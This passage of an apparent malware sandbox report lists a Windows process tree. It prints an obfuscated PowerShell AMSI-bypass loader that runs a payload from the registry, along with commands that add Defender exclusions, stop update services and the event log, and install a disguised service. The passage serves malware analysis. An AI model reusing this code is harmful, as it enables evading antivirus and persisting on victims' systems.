egateForFunctionPointer($JGxNzpVwCWewPKCmS,$SAbtoYTwgVhxssjdLyGGPP).Invoke($CVLFcCAxAurBheNpc,[uint32]8,4,[ref]$yDqngmhEbg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$CVLFcCAxAurBheNpc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JGxNzpVwCWewPKCmS,$SAbtoYTwgVhxssjdLyGGPP).Invoke($CVLFcCAxAurBheNpc,[uint32]8,0x20,[ref]$yDqngmhEbg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+'e'+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zqWooGABtKBi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$yaaweQozbLHpvx,[Parameter(Position=1)][Type]$yeTaGdOMYh)$KzglSWLGHWp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+[Char](101)+''+'c'+'tedDel'+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'T'+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+''+[Char](101)+'al'+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$KzglSWLGHWp.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+'a'+'l'+'N'+'a'+[Char](109)+'e'+[Char](44)+'H'+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$yaaweQozbLHpvx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+'n'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$KzglSWLGHWp.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+'u'+'bl'+'i'+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+'i'+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+'Sl'+'o'+''+'t'+''+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$yeTaGdOMYh,$yaaweQozbLHpvx).SetImplementationFlags('R'+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+'M'+'a'+''+[Char](110)+'a'+'g'+''+'e'+''+[Char](100)+'');Write-Output $KzglSWLGHWp.CreateType();}$BGTvNQPuYELgU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'c'+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+''+'U'+''+[Char](110)+''+'s'+''+'a'+'f'+'e'+'N'+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+'e'+'M'+''+'e'+''+'t'+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$cbdlmaKHcDNWSu=$BGTvNQPuYELgU.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+'ro'+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yCWeGQzcOLOHpwYiEdQ=zqWooGABtKBi @([String])([IntPtr]);$eJRXzEFmuYSdZPAjVdiAIZ=zqWooGABtKBi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hDXAcbmRCpq=$BGTvNQPuYELgU.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+'e'+'r'+[Char](110)+''+'e'+'l'+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$ChUYNKKMgqnqZK=$cbdlmaKHcDNWSu.Invoke($Null,@([Object]$hDXAcbmRCpq,[Object](''+[Char](76)+''+'o'+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+'a'+''+[Char](114)+'y'+[Char](65)+'')));$hUmpihnorpyeMELMZ=$cbdlmaKHcDNWSu.Invoke($Null,@([Object]$hDXAcbmRCpq,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+'lP'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$WQOShBK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ChUYNKKMgqnqZK,$yCWeGQzcOLOHpwYiEdQ).Invoke('a'+'m'+''+[Char](115)+''+'i'+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$GxKmBGCGpyPJxaJRa=$cbdlmaKHcDNWSu.Invoke($Null,@([Object]$WQOShBK,[Object](''+[Char](65)+''+'m'+'s'+[Char](105)+''+'S'+''+'c'+''+'a'+''+[Char](110)+'Bu'+'f'+''+[Char](102)+'e'+[Char](114)+'')));$RnCSsrOQAy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hUmpihnorpyeMELMZ,$eJRXzEFmuYSdZPAjVdiAIZ).Invoke($GxKmBGCGpyPJxaJRa,[uint32]8,4,[ref]$RnCSsrOQAy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GxKmBGCGpyPJxaJRa,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hUmpihnorpyeMELMZ,$eJRXzEFmuYSdZPAjVdiAIZ).Invoke($GxKmBGCGpyPJxaJRa,[uint32]8,0x20,[ref]$RnCSsrOQAy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'r'+'s'+'t'+''+'a'+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:3028
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1524
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1328

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2144

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2244

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:680

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3132
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3336
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc627bc728,0x7ffc627bc734,0x7ffc627bc740
      4⤵
      PID:5228
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2040,i,9053888833946211567,14558441673783715227,524288 --field-trial-handle=2036,i,10840072607555271446,6493652074182061403,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2076 /prefetch:11
      4⤵
      System Time Discovery
      PID:5664
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1688,i,11266248259409061881,3844948769091903724,262144 --field-trial-handle=2036,i,10840072607555271446,6493652074182061403,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2032 /prefetch:2
      4⤵
      PID:6060
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,8491764440685512287,11495393837708094191,524288 --field-trial-handle=2036,i,10840072607555271446,6493652074182061403,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2596 /prefetch:13
      4⤵
      PID:5104
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3260,i,15099421639645778950,13732359554487360501,2097152 --field-trial-handle=2036,i,10840072607555271446,6493652074182061403,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3264 /prefetch:1
      4⤵
      PID:5540
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3288,i,10761306835780714714,13436667586731313023,2097152 --field-trial-handle=2036,i,10840072607555271446,6493652074182061403,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3304 /prefetch:1
      4⤵
      PID:2128
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4236,i,7184246337567602725,16174808118469434400,2097152 --field-trial-handle=2036,i,10840072607555271446,6493652074182061403,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4276 /prefetch:9
      4⤵
      PID:5132
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4648,i,15746869835215450207,11273484352808449798,2097152 --field-trial-handle=2036,i,10840072607555271446,6493652074182061403,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4668 /prefetch:1
      4⤵
      PID:3312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffc6279c188,0x7ffc6279c194,0x7ffc6279c1a0
      4⤵
      PID:6012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1764,i,14840328841570763338,1538217359879956996,524288 --field-trial-handle=2164,i,4941135672857181439,18306564302548446115,262144 --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:11
      4⤵
      System Time Discovery
      PID:5164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,282299908894868361,919123122521424222,262144 --field-trial-handle=2164,i,4941135672857181439,18306564302548446115,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:2
      4⤵
      PID:3020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2548,i,699131164511793513,1019263495510889324,524288 --field-trial-handle=2164,i,4941135672857181439,18306564302548446115,262144 --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:13
      4⤵
      PID:5296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,11697463192440829323,14127138069162237212,2097152 --field-trial-handle=2164,i,4941135672857181439,18306564302548446115,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
      4⤵
      PID:3288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3472,i,9602665808785604062,5964184417087070381,2097152 --field-trial-handle=2164,i,4941135672857181439,18306564302548446115,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
      4⤵
      PID:5048
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\pFmCqfHZ9R.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:324
  - - C:\Users\Admin\AppData\Local\Temp\pFmCqfHZ9R.exe
      "C:\Users\Admin\AppData\Local\Temp\pFmCqfHZ9R.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3960
    - - C:\ProgramData\Chrome146\Chrome145.exe
        
        "C:\ProgramData\Chrome146\Chrome145.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2344
      - C:\Users\Admin\AppData\Local\twJ4B\Dpc5jF\chrome_144.exe
        
        "C:\Users\Admin\AppData\Local\twJ4B\Dpc5jF\chrome_144.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Drops file in Drivers directory
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4272
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2632
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:3580
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:3928
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:2056
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:5096
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:4664
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:3396
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:3272
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2456
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4092
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1196
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        7⤵
        
        PID:4924
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        7⤵
        Launches sc.exe
        
        PID:4928
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:2272
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:4196
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        7⤵
        Launches sc.exe
        
        PID:2652
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:5296
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc624cc728,0x7ffc624cc734,0x7ffc624cc740
    3⤵
    PID:3584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1640,i,11593654041612175469,290051209048696326,262144 --field-trial-handle=2072,i,2748741302547845219,2599605609684238469,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2068 /prefetch:2
    3⤵
    PID:4692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
